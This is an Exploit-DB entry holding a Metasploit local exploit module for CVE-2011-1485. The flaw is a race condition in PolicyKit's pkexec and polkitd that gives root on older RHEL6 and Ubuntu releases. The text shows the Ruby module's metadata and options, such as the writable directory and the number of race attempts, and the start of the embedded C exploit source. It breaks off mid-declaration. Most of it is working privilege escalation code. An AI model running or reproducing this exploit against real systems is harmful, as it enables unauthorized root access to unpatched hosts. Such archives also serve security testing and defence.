Exploit-DB #35021
Description: Linux PolicyKit - Race Condition Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2014-10-20
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit4 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::File

  include Msf::Exploit::Local::Linux

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Linux PolicyKit Race Condition Privilege Escalation',
      'Description'   => %q(
        A race condition flaw was found in the PolicyKit pkexec utility and polkitd
        daemon. A local user could use this flaw to appear as a privileged user to
        pkexec, allowing them to execute arbitrary commands as root by running
        those commands with pkexec.

        Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
        libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
        (10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
      ),
      'License'       => MSF_LICENSE,
      'Author'        =>
      [
        'xi4oyu',                           # exploit
        '0a29406d9794e4f9b30b3c5d6702c708'  # metasploit module
      ],
      'Platform'       => [ 'linux'],
      'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'       =>
      [
        [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
        [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
      ],
      'DefaultTarget' => 0,
      'References'    =>
      [
        [ 'CVE', '2011-1485' ],
        [ 'EDB', '17942' ],
        [ 'OSVDB', '72261' ]
      ],
      'DisclosureDate' => "Apr 01 2011"
    ))
    register_options([
      OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
      OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
      OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
      OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ])
    ])
  end

  def executable_path
    @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
    @executable_path
  end

  def exploit
    main = %q^
/*
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
* Author: xi4oyu
* Tested on: rhel 6
* CVE : 2011-1485
* Linux pkexec exploit by xi4oyu , thx dm@0x557.org * Have fun~
* U can reach us  @ http://www.wooyun.org :)
* 0a2940: some changes
*/
/*
#include <stdio.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <termios.h>
#include <sys/stat.h>
#include <errno.h>
#include <poll.h>
#include <sys/types.h>
#include <stdlib.h>
#include <string.h>
*/

#define dprintf

#define NULL ((void*)0)

#define MAP_PRIVATE   0x02
#define MAP_FIXED     0x10
#define MAP_ANONYMOUS 0x20
#define MAP_ANON MAP_ANONYMOUS
#define MAP_FAILED ((void *)-1)

#define PROT_READ  0x1
#define PROT_WRITE 0x2
#define PROT_EXEC  0x4

#define O_CREAT 64
#define O_RDWR 2

#define POLLRDNORM      0x0040

typedef int __pid_t;
typedef int __time_t;
typedef
struct {
        long __val[2];
} __quad_t;
typedef __quad_t __dev_t;
typedef long __ino_t;
typedef unsigned long __mode_t;
typedef long __nlink_t;
typedef unsigned int __uid_t;
typedef unsigned int __gid_t;
typedef long long __off_t;
typedef long __blksize_t;
typedef long long __blkcnt_t;
struct _stat_buff {
    __dev_t st_dev;                     /* Device.  */
    unsigned short int __pad1;
    __ino_t st_ino;                     /* File serial number.  */
    __mode_t st_mode;                   /* File mode.  */
    __nlink_t st_nlink;                 /* Link count.  */
    __uid_t st_uid;                     /* User ID of the file's owner. */
    __gid_t st_gid;                     /* Group ID of the file's group.*/
    __dev_t st_rdev;                    /* Device number, if device.  */
    unsigned short int __pad2;
    __off_t st_size;                    /* Size of file, in bytes.  */
    __blksize_t st_blksize;             /* Optimal block size for I/O.  */
    __blkcnt_t st_blocks;               /* Number 512-byte blocks allocated. */
    __time_t st_atime;                  /* Time of last access.  */
    unsigned long int st_atimensec;     /* Nscecs of last access.  */
    __time_t st_mtime;                  /* Time of last modification.  */
    unsigned long int st_mtimensec;     /* Nsecs of last modification.  */
    __time_t st_ctime;                  /* Time of last status change.  */
    unsigned long int st_ctimensec;     /* Nsecs of last status change.  */
    unsigned long int __unused4;
    unsigned long int __unused5;
};

struct _pollfd {
    int   fd;         /* file descriptor */
    short events;     /* requested events */
    short revents;    /* returned events */
};
typedef unsigned long size_t;
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
extern int mprotect(void *__addr, size_t __len, int __prot);
extern void exit(int __status);
extern int printf(const char *__format, ...);
extern __pid_t fork(void);
extern __time_t time(__time_t *t);
extern __pid_t getpid(void);
extern __uid_t geteuid(void);
extern void srand(unsigned int seed);
extern int snprintf(char *str, size_t size, const char *format, ...);
extern int pipe(int pipefd[2]);
extern int close(int fd);
extern void write(int fd, const void *buf, size_t count);
extern int dup2(int oldfd, int newfd);
extern void perror(const char *__s);
extern void read(int fd, void *buf, size_t count);
extern int execve(const char *filename, char *const argv[], char *const envp);
extern int usleep(int usec);
extern void *memset(void *s, int c, size_t n);
extern void *memcpy(void * dst, const void *src, size_t n);
extern int poll(stru